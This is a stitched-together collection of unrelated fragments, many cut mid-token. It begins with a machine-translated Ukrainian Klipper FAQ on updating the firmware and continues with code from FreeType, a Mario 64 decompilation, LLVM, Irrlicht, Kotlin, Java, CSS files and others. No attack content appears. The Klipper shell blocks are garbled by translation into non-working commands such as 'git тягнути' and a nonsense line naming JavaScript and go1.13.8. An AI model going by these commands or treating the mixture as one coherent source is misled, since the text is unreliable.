ть виправити основну проблему і підвищити загальну якість їх друку.

Питання та відповіді Чому б не зафіксувати друк? Повідомити про це повідомлення? Перевірити помилки до друку? Ігнорувати помилки у користувацьких командах? і т.д. Зараз Klipper читати команди за допомогою протоколу G-Code, і, на жаль, протокол команд G-Code не є достатньо гнучким, щоб зробити ці альтернативи практичними сьогодні. Зацікавлення розробника при покращенні досвіду користувачів при аноматичних подіях, але очікується, що вимагатиметься нездійсненна інфраструктурна робота (включаючи відключення від G-Code).

## Як оновити до останнього програмного забезпечення?

Першим кроком для оновлення програмного забезпечення є огляд останніх [Налаштування змін](Config_Changes.md) документа. Звісно, зміни внесені до програмного забезпечення, яке вимагає від користувачів оновлювати свої налаштування в рамках оновлення програмного забезпечення. Це гарна ідея для перегляду цього документа до оновлення.

Коли готовий оновити, загальний метод полягає в тому, щоб сса в Малини Пі і запустити:

```
cd ~ / клиппер
git тягнути
javascript licenses api веб-сайт go1.13.8
```

Після чого можна перезгорнути і зафіксувати мікроконтролерний код. Наприклад:

```
налаштування меню
Чистий
Зроби

sudo обслуговування klipper стоп
зробити флеш FLASH_DEVICE=/dev/ttyACM0
sudo сервіс klipper старт
```

Тим не менш, часто справа, що тільки зміни програмного забезпечення. У цьому випадку можна оновити та перезавантажити лише програмне забезпечення для проведення:

```
cd ~ / клиппер
git тягнути
sudo обслуговування klipper кварц
```

Якщо після використання цього ярлика програмне забезпечення попереджає про необхідність рефлешування мікроконтролера або деяких інших незвичайних помилок, то сліду


ttsize );          /* TT_Size */

  FT_LOCAL( void )
  tt_size_done( FT_Size  ttsize );          /* TT_Size */

#ifdef TT_USE_BYTECODE_INTERPRETER

  FT_LOCAL( FT_Error )
  tt_size_run_fpgm( TT_Size  size );

  FT_LOCAL( FT_Error )
  tt_size_run_prep( TT_Size  size );

  FT_LOCAL( FT_Error )
  tt_size_ready_bytecode( TT_Size  size );

#endif /* TT_USE_BYTECODE_INTERPRETER */

  FT_LOCAL( FT_Error )
  tt_size_reset( TT_Size  size );

  /*************************************************************************/
  /*                                                                       */
  /* Driver functions                                                      */
  /*                                                                       */
  FT_LOCAL( FT_Error )
  tt_driver_init( FT_Module  ttdriver );    /* TT_Driver */

  FT_LOCAL( void )
  tt_driver_done( FT_Module  ttdriver );    /* TT_Driver */

  /*************************************************************************/
  /*                                                                       */
  /* Slot functions                                                        */
  /*                                                                       */
  FT_LOCAL( FT_Error )
  tt_slot_init( FT_GlyphSlot  slot );

FT_END_HEADER

#endif /* __TTOBJS_H__ */

/* END */


#include <PR/ultratypes.h>

#include "engine/math_util.h"
#include "engine/surface_collision.h"
#include "level_update.h"
#include "object_fields.h"
#include "object_helpers.h"
#include "object_list_processor.h"
#include "platform_displacement.h"
#include "types.h"

extern struct Object *gMarioPlatform;

/**
 * Determine if Mario is standing on a platform object, meaning that he is
 * within 4 units of the floor. Set his referenced platform object accordingly.
 */
void update_mario_platform(void) {
    struct Surface *floor;
    UNUSED u8 filler[4];
    f32 marioX;
    f32 marioY;
    f32 marioZ;
    f32 floorHeight;
    u32 awayFromFloor;

    if (gMarioObject == NULL) {
        return;
    }

    //! If Mario moves onto a rotating platform in a PU, the find_floor call
    //  will detect the platform and he will end up receiving a large amount
    //  of displacement since he is considered to be far from the platform's
    //  axis of rotation.

    marioX = gMarioObject->oPosX;
    marioY = gMarioObject->oPosY;
    marioZ = gMarioObject->oPosZ;
    floorHeight = find_floor(marioX, marioY, marioZ, &floor);

    if (absf(marioY - floorHeight) < 4.0f) {
        awayFromFloor = 0;
    } else {
        awayFromFloor = 1;
    }

    switch (awayFromFloor) {
        case 1:
            gMarioPlatform = NULL;
            gMarioObject->platform = NULL;
            break;

        case 0:
            if (floor != NULL && floor->object != NULL) {
                gMarioPlatform = floor->object;
                gMarioObject->platform = floor->object;
            } else {
                gMarioPlatform = NULL;
                gMarioObject->platform = NULL;
            }
            break;
    }
}


[3], B[3]));
  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 15), A[2], B[4]));
  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 60), A[4], B[3]));
  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 60), A[3], B[4]));
  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 90), A[4], B[4]));
  EXPECT_EQ(Product->getOperand(6), SE.getAddExpr(Sum));
  Sum.clear();

  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 35), A[4], B[3]));
  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 35), A[3], B[4]));
  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 140), A[4], B[4]));
  EXPECT_EQ(Product->getOperand(7), SE.getAddExpr(Sum));
  Sum.clear();
#endif

  Sum.push_back(SE.getMulExpr(SE.getConstant(Ty, 70), A[4], B[4]));
  EXPECT_EQ(Product->getOperand(8), SE.getAddExpr(Sum));
}

}  // end anonymous namespace
}  // end namespace llvm
//===-- DWARFFormValue.cpp ------------------------------------------------===//
//
//                     The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//

#include "DWARFFormValue.h"
#include "DWARFCompileUnit.h"
#include "DWARFContext.h"
#include "llvm/Support/Dwarf.h"
#include "llvm/Support/Format.h"
#include "llvm/Support/raw_ostream.h"
#include <cassert>
using namespace llvm;
using namespace dwarf;

static const uint8_t form_sizes_addr4[] = {
  0, // 0x00 unused
  4, // 0x01 DW_FORM_addr
  0, // 0x02 unused
  0, // 0x03 DW_FORM_block2
  0, // 0x04 DW_FORM_block4
  2, // 0x05 DW_FORM_data2
  4, // 0x06 DW_FORM_data4
  8, // 0x07 DW_FORM_data8
  0, // 0x08 DW_FORM_string
  0, // 0x09 DW_FORM_block
  0, // 0x0a DW_FORM_block1
  1, // 0x0b DW_FORM_data1
  1, // 0x0c DW_FORM_flag
  0, // 0x0d DW_FORM_sdata
  4, // 0x0e DW_FORM_strp
  0, // 0x0f DW_FORM_udata
  4, // 0x10 DW_FORM_ref_addr
  1, // 0x11 DW_FORM_ref1
  2, // 0x12 DW_FORM_ref2
  4, // 0x13 DW_FORM_ref4
  8, // 0x14 DW_FORM_ref8
  0, // 0x15 DW_FORM_ref_udata
  0, // 0x16 DW_FORM_indirect
};

static const uint8_t form_sizes_addr8[] = {
  0, // 0x00 unused
  8, // 0x01 DW_FORM_addr
  0, // 0x02 unused
  0, // 0x03 DW_FORM_block2
  0, // 0x04 DW_FORM_block4
  2, // 0x05 DW_FORM_data2
  4, // 0x06 DW_FORM_data4
  8, // 0x07 DW_FORM_data8
  0, // 0x08 DW_FORM_string
  0, // 0x09 DW_FORM_block
  0, // 0x0a DW_FORM_block1
  1, // 0x0b DW_FORM_data1
  1, // 0x0c DW_FORM_flag
  0, // 0x0d DW_FORM_sdata
  4


">
                        <q-btn color="button" text-color="white" label="CLOSE" v-close-popup></q-btn>
                      </q-card-actions>
                    </q-card>
                  </q-dialog>

                  <q-dialog position="right" v-model="help">
                    <q-card style="max-width: 786px; padding: 40px 20px 40px 30px; bottom: 2.5vh; right: 2.25vw;">
                      <q-card-section>

Help:

                      </q-card-section>

                      <q-card-section class="q-pt-none">
                        To move a full stack make sure the AMOUNT FIELD is empty. You can type the specific NUMBER AMOUNT for how much you would like to move. To USE an item, drag it into the middle option titled "USE" or you can DOUBLE CLICK. The AMOUNT FIELD will NOT reset when you close your inventory, so make sure you get in the habit of clearing the number!
                      </q-card-section>

                      <q-card-section>

Middle Options:

                      </q-card-section>

                      <q-card-section class="q-pt-none">

Use: Drag item to this button to use that item

Give: Give item to other citizens around you

Combine: Combine certain items together

Switch: Switch current item

Attachments: When you have items you can attach to your weapons

Close: Another way to close the inventory

                      </q-card-section>

                      <q-card-section>

Keybinds (default):

                      </q-card-section>

                      <q-card-section class="q-pt-none">

Left Click: Normal drag

Right Click: Drop item or move single item storage

Double Click: Use Item

Number 0-9: Will input the typed number

BACKSPACE Key: Will set AMOUNT to blank/move entire item stack

                      </q-card-section>

                      <q-card-section>

Shops:

                      </q-card-section>

                      <q-card-section class="q-pt-none">
                        Put in the AMOUNT you want to buy in the AMOUNT FIELD and then drag the shop item into your inventory
                      </q-card-section>
                    </q-card>
                  </q-dialog>

Pistol | 9mm

This is a


           var timeScalePort = base.InstantiatePort(Orientation.Horizontal, Direction.Output, Port.Capacity.Multi, typeof(float));
            timePort.portName = "time";
            unscaledTimePort.portName = "unscaledTime";
            fixedTimePort.portName = "fixedTime";
            fixedUnscaledTimePort.portName = "fixedUnscaledTime";
            deltaTimePort.portName = "deltaTime";
            unscaledDeltaTimePort.portName = "unscaledDeltaTime";
            fixedDeltaTimePort.portName = "fixedDeltaTime";
            fixedUnscaledDeltaTimePort.portName = "fixedUnscaledDeltaTime";
            timeScalePort.portName = "timeScale";
            AddOutputPort(timePort, () => "Time.time");
            AddOutputPort(unscaledTimePort, () => "Time.unscaledTime");
            AddOutputPort(fixedTimePort, () => "Time.fixedTime");
            AddOutputPort(fixedUnscaledTimePort, () => "Time.fixedUnscaledTime");
            AddOutputPort(deltaTimePort, () => "Time.deltaTime");
            AddOutputPort(unscaledDeltaTimePort, () => "Time.unscaledDeltaTime");
            AddOutputPort(fixedDeltaTimePort, () => "Time.fixedDeltaTime");
            AddOutputPort(fixedUnscaledDeltaTimePort, () => "Time.fixedUnscaledDeltaTime");
            AddOutputPort(timeScalePort, () => "Time.timeScale");
            Refresh();
        }
    }
}


#include <stdio.h>
#include "opcodes.h"

#define DO_RXSBG(insn, _r1, _r2, i3, i4, i5)		\
({							\
	register unsigned long r1 asm ("1") = _r1;	\
	register unsigned long r2 asm ("2") = _r2;	\
	int cc;						\
	asm volatile(   "clgr 1,2\n"                    \
                        insn(1,2, i3, i4, i5)           \
			"ipm %1\n"			\
			"srl %1,28\n"			\
			: "+d" (r1), "=d" (cc)		\
			: "d" (r1), "d" (r2)		\
			: "cc");			\
	printf(#insn " r1(==%16.16lX),r2(==%16.16lX),0x" #i3 ",0x" #i4 ",0x" #i5 " = %16.16lX (cc=%d)\n", _r1, _r2, r1, cc); \
})

#define r1sweep(i, r2, i3, i4, i5)				\
({								\
	DO_RXSBG(i, 000000000000000000ul, r2, i3, i4, i5);	\
	DO_RXSBG(i, 0x0000ffffccccaaaaul, r2, i3, i4, i5);	\
	DO_RXSBG(i, 0xfffffffffffffffful, r2, i3, i4, i5);	\
})

#define r2sweep(i, i3, i4, i5)				\
({							\
	r1sweep(i, 0x0000000000000000ul, i3, i4, i5);	\
	r1sweep(i, 0x5555ccccffff0000ul, i3, i4, i5);	\
	r1sweep(i, 0xfffffffffffffffful, i3, i4, i5);	\
})

/* min/max z=0/1 and some random number in the middle */
#define i3sweep(i, i4, i5)		\
({					\
	r2sweep(i, 00, i4, i5);		\
	r2sweep(i, 14, i4, i5);		\
	r2sweep(i, 3f, i4, i5);		\
	r2sweep(i, 80, i4, i5);		\
	r2sweep(i, a1, i4, i5);		\
	r2sweep(i, bf, i4, i5);		\
})

/* min/max t=0/1 and some random number in the middle */
#define i4sweep(i, i5)			\
({					\
	i3sweep(i, 00, i5);		\
	i3sweep(i, 2a, i5);		\
	i3sweep(i, 3f, i5);		\
	i3sweep(i, 80, i5);		\
	i3sweep(i, 9e, i5);		\
	i3sweep(i, bf, i5);		\
})

/* min/max and other shifts */
#define i5sweep(i)		\
({				\
	i4sweep(i, 00);		\
	i4sweep(i, 01);		\
	i4sweep(i, 13);		\
	i4sweep(i, 3e);		\
	i4sweep(i, 3f);		\
})

int main()
{
	i5sweep(RISBG);
	i5sweep(RNSBG);
	i5sweep(ROSBG);
	i5sweep(RXSBG);
        i5sweep(RISBGN);

	return 0;
}


 true;
		default:
			break;
		}
		break;
	default:
		break;
	}
	return false;
}

void CColorConverter::convert_viaFormat(const void *sP, ECOLOR_FORMAT sF, s32 sN,
		void *dP, ECOLOR_FORMAT dF)
{
	// please also update can_convert_viaFormat when adding new conversions
	switch (sF) {
	case ECF_A1R5G5B5:
		switch (dF) {
		case ECF_A1R5G5B5:
			convert_A1R5G5B5toA1R5G5B5(sP, sN, dP);
			break;
		case ECF_R5G6B5:
			convert_A1R5G5B5toR5G6B5(sP, sN, dP);
			break;
		case ECF_A8R8G8B8:
			convert_A1R5G5B5toA8R8G8B8(sP, sN, dP);
			break;
		case ECF_R8G8B8:
			convert_A1R5G5B5toR8G8B8(sP, sN, dP);
			break;

		default:
			break;
		}
		break;
	case ECF_R5G6B5:
		switch (dF) {
		case ECF_A1R5G5B5:
			convert_R5G6B5toA1R5G5B5(sP, sN, dP);
			break;
		case ECF_R5G6B5:
			convert_R5G6B5toR5G6B5(sP, sN, dP);
			break;
		case ECF_A8R8G8B8:
			convert_R5G6B5toA8R8G8B8(sP, sN, dP);
			break;
		case ECF_R8G8B8:
			convert_R5G6B5toR8G8B8(sP, sN, dP);
			break;

		default:
			break;
		}
		break;
	case ECF_A8R8G8B8:
		switch (dF) {
		case ECF_A1R5G5B5:
			convert_A8R8G8B8toA1R5G5B5(sP, sN, dP);
			break;
		case ECF_R5G6B5:
			convert_A8R8G8B8toR5G6B5(sP, sN, dP);
			break;
		case ECF_A8R8G8B8:
			convert_A8R8G8B8toA8R8G8B8(sP, sN, dP);
			break;
		case ECF_R8G8B8:
			convert_A8R8G8B8toR8G8B8(sP, sN, dP);
			break;

		default:
			break;
		}
		break;
	case ECF_R8G8B8:
		switch (dF) {
		case ECF_A1R5G5B5:
			convert_R8G8B8toA1R5G5B5(sP, sN, dP);
			break;
		case ECF_R5G6B5:
			convert_R8G8B8toR5G6B5(sP, sN, dP);
			break;
		case ECF_A8R8G8B8:
			convert_R8G8B8toA8R8G8B8(sP, sN, dP);
			break;
		case ECF_R8G8B8:
			convert_R8G8B8toR8G8B8(sP, sN, dP);
			break;

		default:
			break;
		}
		break;

	default:
		break;
	}
}

} // end namespace video
} // end namespace irr
// Copyright (C) 2002-2012 Nikolaus Gebhardt
// This file is part of the "Irrlicht Engine".
// For conditions of distribution and use, see copyright notice in irrlicht.h

#include "CWriteFile.h"
#include <cstdio>

namespace irr
{
namespace io
{

CWriteFile::CWriteFile(const io::path &fileName, bool append) :
		Filename(fileName), FileSize(0)
{
#ifdef _DEBUG
	setDebugName("CWriteFile");
#endif

	openFile(append);
}

CWriteFile::~CWriteFile()
{
	if (File)


": "#/components/schemas/item"}
    schema_array = {
        "accounts": {"items": {"$ref": "#/components/schemas/items"}, "type": "array"}
    }

    components = {
        "schemas": {
            "item": {
                "type": "object",
                "required": ["foo", "baz"],
                "x-hmt-id-path": "itemId",
                "properties": {
                    "foo": {"type": "number"},
                    "bar": {"type": "string"},
                    "itemId": {"type": "string"},
                },
            }
        }
    }

    spec = spec_dict(
        path="/items/{id}",
        response_schema=schema_single,
        components=components,
        method="get",
    )
    spec["paths"]["/items/{id}"]["x-hmt-entity"] = "item"
    spec["paths"]["/items/{id}"]["get"]["x-hmt-operation"] = "read"

    add_item(
        spec,
        path="/items",
        response_schema=schema_array,
        components=components,
        method="get",
    )
    spec["paths"]["/items"]["x-hmt-entity"] = "item"
    spec["paths"]["/items"]["get"]["x-hmt-operation"] = "read"

    spec = convert_to_OpenAPIObject(spec)

    entity = Entity("item", spec)

    entity.insert({"foo": 10, "bar": "val", "itemId": "id123"})
    entity.insert({"foo": 20, "bar": "val1", "itemId": "id1234"})
    entity.insert({"foo": 30, "bar": "val2", "itemId": "id12345"})

    res = entity.query_one(
        "/items/{id}",
        RequestBuilder.from_dict(
            dict(method="get", protocol="http", path="/items/id1234", host="api.com")
        ),
    )

    assert 20 == res["foo"]

    res = entity.query(
        "/items",
        RequestBuilder.from_dict(
            dict(method="get", protocol="http", path="/items", host="api.com")
        ),
    )

    assert 3 == len(res)


.Bitmap
import android.graphics.Canvas
import android.graphics.Color
import android.graphics.drawable.BitmapDrawable
import android.view.View
import android.widget.ImageView
import org.jetbrains.annotations.NotNull

/**
 * 设置view显示
 */
fun View.visible() {
    visibility = View.VISIBLE
}

/**
 * 设置view占位隐藏
 */
fun View.invisible() {
    visibility = View.INVISIBLE
}

/**
 * 根据条件设置view显示隐藏 为true 显示，为false 隐藏
 */
fun View.visibleOrGone(flag:Boolean) {
    visibility = if(flag){
        View.VISIBLE
    }else{
        View.GONE
    }
}

/**
 * 根据条件设置view显示隐藏 为true 显示，为false 隐藏
 */
fun View.visibleOrInvisible(flag:Boolean) {
    visibility = if(flag){
        View.VISIBLE
    }else{
        View.INVISIBLE
    }
}

/**
 * 设置view隐藏
 */
fun View.gone() {
    visibility = View.GONE
}

/**
 * 将view转为bitmap
 */
@Deprecated("use View.drawToBitmap()")
fun View.toBitmap(scale: Float = 1f, config: Bitmap.Config = Bitmap.Config.ARGB_8888): Bitmap? {
    if (this is ImageView) {
        if (drawable is BitmapDrawable) return (drawable as BitmapDrawable).bitmap
    }
    this.clearFocus()
    val bitmap = createBitmapSafely(
        (width * scale).toInt(),
        (height * scale).toInt(),
        config,
        1
    )
    if (bitmap != null) {
        Canvas().run {
            setBitmap(bitmap)
            save()
            drawColor(Color.WHITE)
            scale(scale, scale)
            this@toBitmap.draw(this)
            restore()
            setBitmap(null)
        }
    }
    return bitmap
}

fun createBitmapSafely(width: Int, height: Int, config: Bitmap.Config, retryCount: Int): Bitmap? {
    try {
        return Bitmap.createBitmap(width, height, config)
    } catch (e: OutOfMemoryError) {
        e.printStackTrace()
        if (retryCount > 0) {
            System.gc()
            return createBitmapSafely(width, height, config, retryCount - 1)
        }
        return null
    }
}

/**
 * 防止重复点击事件 默认0.5秒内不可重复点击
 * @param interval 时间间隔 默认0.5秒
 * @param action 执行方法
 */
var lastClickTime = 0L
fun View.clickNoRepeat(interval: Long = 500, action: (view: View) -> Unit) {
    setOnClickListener {
        val currentTime = System.currentTimeMillis()
        if (lastClickTime != 0L && (currentTime - lastClickTime < interval)) {
            return@setOnClickListener
        }
        lastClickTime = currentTime
        action(it)
    }
}

fun Any?.notNull(notNullAction:(value:Any) ->Unit,nullAction1:() ->Unit){
    if(this!=null){
        notNullAction.invoke(this)
    }else{
        nullAction1.invoke()
    }
}
package me.hegj.wandroid.mvp.ui

import android.content.Context
import android.content.Intent
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.fragment.app.Fragment
import com.jess.arms.base.delegate.IFragment
import com.jess.arms.integrati


ermaid .taskTextOutside2 {
  fill: black;
}
.mermaid .taskTextOutside1,
.mermaid .taskTextOutside3 {
  fill: black;
}
/* Active task */
.mermaid .active0,
.mermaid .active1,
.mermaid .active2,
.mermaid .active3 {
  fill: #bfc7ff;
  stroke: #534fbc;
}
.mermaid .activeText0,
.mermaid .activeText1,
.mermaid .activeText2,
.mermaid .activeText3 {
  fill: black !important;
}
/* Completed task */
.mermaid .done0,
.mermaid .done1,
.mermaid .done2,
.mermaid .done3 {
  stroke: grey;
  fill: lightgrey;
  stroke-width: 2;
}
.mermaid .doneText0,
.mermaid .doneText1,
.mermaid .doneText2,
.mermaid .doneText3 {
  fill: black !important;
}
/* Tasks on the critical line */
.mermaid .crit0,
.mermaid .crit1,
.mermaid .crit2,
.mermaid .crit3 {
  stroke: #ff8888;
  fill: red;
  stroke-width: 2;
}
.mermaid .activeCrit0,
.mermaid .activeCrit1,
.mermaid .activeCrit2,
.mermaid .activeCrit3 {
  stroke: #ff8888;
  fill: #bfc7ff;
  stroke-width: 2;
}
.mermaid .doneCrit0,
.mermaid .doneCrit1,
.mermaid .doneCrit2,
.mermaid .doneCrit3 {
  stroke: #ff8888;
  fill: lightgrey;
  stroke-width: 2;
  cursor: pointer;
  shape-rendering: crispEdges;
}
.mermaid .doneCritText0,
.mermaid .doneCritText1,
.mermaid .doneCritText2,
.mermaid .doneCritText3 {
  fill: black !important;
}
.mermaid .activeCritText0,
.mermaid .activeCritText1,
.mermaid .activeCritText2,
.mermaid .activeCritText3 {
  fill: black !important;
}
.mermaid .titleText {
  text-anchor: middle;
  font-size: 18px;
  fill: black;
}
.mermaid g.classGroup text {
  fill: #9370DB;
  stroke: none;
  font-family: 'trebuchet ms', verdana, arial;
  font-size: 10px;
}
.mermaid g.classGroup rect {
  fill: #ECECFF;
  stroke: #9370DB;
}
.mermaid g.classGroup line {
  stroke: #9370DB;
  stroke-width: 1;
}
.mermaid svg .classLabel .box {
  stroke: none;
  stroke-width: 0;
  fill: #ECECFF;
  opacity: 0.5;
}
.mermaid svg .classLabel .label {
  fill: #9370DB;
  font-size: 10px;
}
.mermaid .relation {
  stroke: #9370DB;
  stroke-width: 1;
  fill: none;
}
.mermaid .composition {
  fill: #9370DB;
  stroke: #9370DB;
  stroke-width: 1;
}
.mermaid #compositionStart {
  fill: #9370DB;
  stroke: #9370DB;
  stroke-width: 1;
}
.mermaid #compositionEnd {
  fill: #9370DB;
  stroke: #9370DB;
  stroke-width: 1;
}
.mermaid .aggregation {
  fill: #ECECFF;
  stroke: #9370DB;
  stroke-width: 1;
}
.mermaid #aggregationStart {
  fill: #ECECFF;
  stroke: #9370DB;
  stroke-width: 1;
}
.mermaid #aggregationEn


light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .nav-link.active{color:#3A3F44}.navbar-light .navbar-toggler{color:rgba(0,0,0,0.5);border-color:rgba(0,0,0,0.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,0.5)}.navbar-light .navbar-text a{color:#3A3F44}.navbar-light .navbar-text a:hover,.navbar-light .navbar-text a:focus{color:#3A3F44}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:hover,.navbar-dark .navbar-brand:focus{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-nav .nav-link:hover,.navbar-dark .navbar-nav .nav-link:focus{color:#fff}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,0.25)}.navbar-dark .navbar-nav .show>.nav-link,.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .nav-link.active{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,0.5);border-color:rgba(255,255,255,0.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3e%3cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:hover,.navbar-dark .navbar-text a:focus{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#32383e;background-clip:border-box;border:1px solid rgba(0,0,0,0.6);border-radius:0.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-


*/
    protected static char hex4ToChar(char[] buf, int offset) {
        try {
            long r = hex4ToLong(buf, offset);
            if (r > -1) {
                return (char) r;
            }
        } catch (Throwable throwable) {
        }
        // \\u parse error
        String errorContextTextAt = createErrorContextText(buf, offset - 1);
        throw new JSONException("Syntax error, from pos " + offset + ", context text by '" + errorContextTextAt + "', hex unicode parse error ");
    }

    /**
     * 计算8个16进制字符组成的long值(实际int值)
     *
     * @param buf
     * @param offset
     * @return
     * @throws IndexOutOfBoundsException
     */
    protected final static long hex8ToLong(char[] buf, int offset) {
        return hexToLong(buf[offset]) << 28 | hexToLong(buf[offset + 1]) << 24 | hexToLong(buf[offset + 2]) << 20 | hexToLong(buf[offset + 3]) << 16 | hexToLong(buf[offset + 4]) << 12 | hexToLong(buf[offset + 5]) << 8 | hexToLong(buf[offset + 6]) << 4 | hexToLong(buf[offset + 7]);
    }

    /**
     * 计算8个16进制字节组成的long值(实际int值)
     *
     * @param buf
     * @param offset
     * @return
     * @throws IndexOutOfBoundsException
     */
    protected final static long hex8ToLong(byte[] buf, int offset) {
        return hexToLong(buf[offset]) << 28 | hexToLong(buf[offset + 1]) << 24 | hexToLong(buf[offset + 2]) << 20 | hexToLong(buf[offset + 3]) << 16 | hexToLong(buf[offset + 4]) << 12 | hexToLong(buf[offset + 5]) << 8 | hexToLong(buf[offset + 6]) << 4 | hexToLong(buf[offset + 7]);
    }

    /**
     * 计算4个16进制字节组成的long值(实际short值)
     *
     * @param buf
     * @param offset
     * @return
     * @throws IndexOutOfBoundsException
     */
    protected final static long hex4ToLong(byte[] buf, int offset) {
        return hexToLong(buf[offset]) << 12 | hexToLong(buf[offset + 1]) << 8 | hexToLong(buf[offset + 2]) << 4 | hexToLong(buf[offset + 3]);
    }

    /**
     * 计算4个16进制字符组成的long值(实际short值)
     *
     * @param buf
     * @param offset
     * @return
     * @throws IndexOutOfBoundsException
     */
    protected final static long hex4ToLong(char[] buf, int offset) {
        return hexToLong(buf[offset]) << 12 | hexToLong(buf[offset + 1]) << 8 | hexToLong(buf[offset + 2]) << 4 | hexToLong(buf[offset + 3]);
    }

    /**
     * 匹配日期
     *
     * @param buf
     * @param from
     * @param to
     * @param dateCls
     * @return
     */
    final static Date matchDate(char[] buf, int from, int to, String timezone, Class<? extends Date> dateCls) {

        int len = to - from;
        String timezoneIdAt = timezone;
        if (len > 19) {
            // yyyy-MM-ddTHH:mm:ss.SSS+XX:YY
            int j = to, ch;
            while (j > from) {
                // Check whether the time zone ID exists in the date
                // Check for '+' or '-' or 'Z'
                if ((ch = buf[--j]) == '.' || ch == ' ') break;
                if (ch == '+' || ch == '-' || ch == 'Z') {
                    timezoneIdAt = new String(buf, j, to - j);
                    to = j;
                    len = to - from;
                    break;
                }
            }
        }
        switch (len) {
            case 8: {
                // yyyyMMdd
                // HH:mm:ss
                try {
                    if (dateCls != null && Time.class.isAssignableFrom(dateCls)) {


min(d.values())


ile that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 */

/*
 * @test
 * @bug     6409829
 * @summary JSR 199: enforce the use of valid package and class names
 *                   in get{Java,}FileFor{Input,Output}
 * @author  Peter von der Ah\u00e9
 * @modules jdk.compiler/com.sun.tools.javac.file
 */

import com.sun.tools.javac.file.JavacFileManager;

public class TestName {
    public static void main(String... args) {
        final boolean PACKAGE = true;
        final boolean CLASS = true;
        JavacFileManager.testName("", PACKAGE, !CLASS);
        JavacFileManager.testName(".", !PACKAGE, !CLASS);
        JavacFileManager.testName("java.lang.", !PACKAGE, !CLASS);
        JavacFileManager.testName(".java.lang.", !PACKAGE, !CLASS);
        JavacFileManager.testName(".java.lang", !PACKAGE, !CLASS);
        JavacFileManager.testName("java.lang", PACKAGE, CLASS);
        JavacFileManager.testName("java.lang.Foo Bar", !PACKAGE, !CLASS);
        JavacFileManager.testName("java.lang.Foo+Bar", !PACKAGE, !CLASS);
        JavacFileManager.testName("java.lang.Foo$Bar", PACKAGE, CLASS);
        JavacFileManager.testName("Peter.von.der.Ah\u00e9", PACKAGE, CLASS);
    }
}
/*
 * Copyright (c) 2010, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 */

import java.util.*;

class SubTest {

    interface Foo {}
    static class X1 extends Exception implements Foo {}
    static class X2 extends Exception implements Foo {}

    void test(boolean cond, List<String> ls) {
        try {
            if (cond)
                throw new X1();
            else
                throw new X2();
        }
        catch (X1 | X2 ex) {}
    }
}
/*
 * Copyright (c) 2010, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY


1/2f. When f = 0, like
